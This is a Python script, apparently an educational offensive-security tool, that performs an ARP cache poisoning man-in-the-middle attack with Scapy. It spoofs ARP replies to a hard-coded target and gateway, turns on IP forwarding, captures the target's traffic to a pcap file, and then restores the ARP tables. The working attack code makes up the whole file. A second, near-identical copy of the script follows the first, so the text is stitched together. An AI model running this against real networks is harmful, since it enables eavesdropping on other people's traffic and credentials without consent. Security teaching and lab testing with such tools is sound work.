#!/usr/bin/env python3 # ARP Cache Poisoning Attack using SCAPY # Version: 0.2 # Author: Omar Santos @santosomar # This script performs an ARP cache poisoning attack using the SCAPY library. # It spoofs ARP replies to the target and gateway, causing them to update their ARP tables with the attacker's MAC address. # The attacker then forwards packets between the target and gateway, allowing for eavesdropping or manipulation. from scapy.all import * import os import signal import sys import threading import time # Network and interface parameters gateway_ip = "192.168.78.1" target_ip = "192.168.78.123" packet_count = 1000 conf.iface = "en0" conf.verb = 0 # Get the MAC address of the given IP address. def get_mac(ip_address): resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10) for s,r in resp: return r[ARP].hwsrc return None # Restore the network by reversing the ARP poison attack. def restore_network(gateway_ip, gateway_mac, target_ip, target_mac): send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5) send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5) print("[*] Disabling IP forwarding") os.system("sysctl -w net.inet.ip.forwarding=0") os.kill(os.getpid(), signal.SIGTERM) # Perform the ARP poisoning attack. def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac): print("[*] Started ARP poison attack [CTRL-C to stop]") try: while True: send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)) send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)) time.sleep(2) except KeyboardInterrupt: print("[*] Stopped ARP poison attack. Restoring network") restore_network(gateway_ip, gateway_mac, target_ip, target_mac) # Main script execution print("[*] Starting arp_cache_poisoner") print("[*] Enabling IP forwarding") os.system("sysctl -w net.inet.ip.forwarding=1") print(f"[*] Gateway IP address: {gateway_ip}") print(f"[*] Target IP address: {target_ip}") gateway_mac = get_mac(gateway_ip) if gateway_mac is None: print("[!] Unable to get gateway MAC address. Exiting..") sys.exit(0) else: print(f"[*] Gateway MAC address: {gateway_mac}") target_mac = get_mac(target_ip) if target_mac is None: print("[!] Unable to get target MAC address. Exiting..") sys.exit(0) else: print(f"[*] Target MAC address: {target_mac}") # Start the ARP poison thread poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac)) poison_thread.start() # Collect packet captures and save them to a file try: sniff_filter = "ip host " + target_ip print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}") packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count) # Save captured packets to a .pcap file wrpcap(target_ip + "_capture.pcap", packets) print(f"[*] Stopping network capture..Restoring network") restore_network(gateway_ip, gateway_mac, target_ip, target_mac) # Gracefully handle KeyboardInterrupt (Ctrl+C) to stop packet capture and restore the network except KeyboardInterrupt: print(f"[*] Stopping network capture..Restoring network") restore_network(gateway_ip, gateway_mac, target_ip, target_mac) sys.exit(0) from scapy.all import * import os import signal import sys import threading import time #network and interface parameters gateway_ip = "192.168.78.1" target_ip = "192.168.78.123" packet_count = 1000 conf.iface = "en0" conf.verb = 0 # Once given an IP address, it will try to find a MAC address. def get_mac(ip_address): #An alternate method is using Layer 2: resp, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip_address)) resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10) for s,r in resp: return r[ARP].hwsrc return None #Restore the network by reversing the ARP poison attack. Broadcast ARP Reply with def restore_network(gateway_ip, gateway_mac, target_ip, target_mac): send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5) send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5) print("[*] Disabling IP forwarding") #Disable IP Forwarding on a mac os.system("sysctl -w net.inet.ip.forwarding=0") #kill process on a mac os.kill(os.getpid(), signal.SIGTERM) def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac): print("[*] Started ARP poison attack [CTRL-C to stop]") try: while True: send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)) send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)) time.sleep(2) except KeyboardInterrupt: print("[*] Stopped ARP poison attack. Restoring network") restore_network(gateway_ip, gateway_mac, target_ip, target_mac) print("[*] Starting arp_cache_poisoner") print("[*] Enabling IP forwarding") os.system("sysctl -w net.inet.ip.forwarding=1") print(f"[*] Gateway IP address: {gateway_ip}") print(f"[*] Target IP address: {target_ip}") gateway_mac = get_mac(gateway_ip) if gateway_mac is None: print("[!] Unable to get gateway MAC address. Exiting..") sys.exit(0) else: print(f"[*] Gateway MAC address: {gateway_mac}") target_mac = get_mac(target_ip) if target_mac is None: print("[!] Unable to get target MAC address. Exiting..") sys.exit(0) else: print(f"[*] Target MAC address: {target_mac}") #ARP poison thread poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac)) poison_thread.start() #Collect packet captures and save it to a file try: sniff_filter = "ip host " + target_ip print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}") packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count) wrpcap(target_ip + "_capture.pcap", packets) print(f"[*] Stopping network capture..Restoring network") restore_network(gateway_ip, gateway_mac, target_ip, target_mac) except KeyboardInterrupt: print(f"[*] Stopping network capture..Restoring network") restore_network(gateway_ip, gateway_mac, target_ip, target_mac) sys.exit(0)